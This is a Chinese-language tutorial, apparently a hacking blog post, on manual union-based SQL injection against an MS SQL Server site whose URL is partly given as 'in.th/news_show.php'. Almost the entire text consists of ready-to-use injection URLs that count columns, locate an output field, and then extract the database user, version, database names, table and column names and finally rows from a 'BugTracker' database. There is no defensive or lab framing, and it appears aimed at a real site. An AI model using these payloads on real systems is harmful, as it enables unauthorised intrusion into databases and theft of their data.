要用union查询的话,先确定有几个字段,使用order by 来完成,就是:
SQL代码
- in.th/news_show.php?newsid=400 order by 7-- 回显正常
- in.th/news_show.php?newsid=400 order by 8-- 回显失败
说明总共7个字段,然后用null填充
SQL代码
- in.th/news_show.php?newsid=400 union all select null,null,null,null,null,null,null--
显示正常
变换成不存在的id,前面加负号,或者加上and 1=2的条件,比如
SQL代码
- in.th/news_show.php?newsid=99999 union all select null,null,null,null,null,null,null--
确定下哪个位置可以爆出结果,先从第一个null开始变换,直接替换成user,就是:
SQL代码
- in.th/news_show.php?newsid=99999 union all select user,null,null,null,null,null,null--
看来运气比较好,当前用户名直接出现在某个可见的位置,要是没显示结果就继续变换位置
那就从这个位置开始暴出我们想要的结果
1.变换id获得库名
SQL代码
- in.th/news_show.php?newsid=400 and 1=2 union all select name,null,null,null,null,null,null+from+master.dbo.sysdatabases+where+dbid=1--
2.获得当前库名
SQL代码
- in.th/news_show.php?newsid=400 and 1=2 union all select db_name(),null,null,null,null,null,null--
3.获得当前版本
SQL代码
- in.th/news_show.php?newsid=400 and 1=2 union all select @@version,null,null,null,null,null,null--
4.变换N获得指定库的表名
SQL代码
- in.th/news_show.php?newsid=400 and 1=2 union all select name,null,null,null,null,null,null+from+BugTracker.dbo.sysobjects+where xtype=CHAR(85) and name not in (select top N name from BugTracker.dbo.sysobjects where xtype=CHAR(85))--
5.获得指定库所有列名
(1) 这里的M和获得库名时的N必须一致,不然无法得到正确的库名ID
SQL代码
- in.th/news_show.php?newsid=400 and 1=2 union all select ID,null,null,null,null,null,null+from+BugTracker.dbo.sysobjects+where xtype=CHAR(85) and ID not in (select top M ID from BugTracker.dbo.sysobjects where xtype=CHAR(85))--
(2)最后的ID值即是(1)中回显的数值,通过变换N值获得所有列名
SQL代码
- in.th/news_show.php?newsid=400 and 1=2 union all select NAME,null,null,null,null,null,null from BugTracker.dbo.syscolumns where ID=53575229 and name not in (select top N name from BugTracker.dbo.syscolumns where ID=53575229)--
6.根据前几步所得结果获得字段内容
SQL代码
- in.th/news_show.php?newsid=400 and 1=2 union all select bug_id,null,null,null,null,null,null from BugTracker..mantis_bug_file_table--
可自加条件进行查询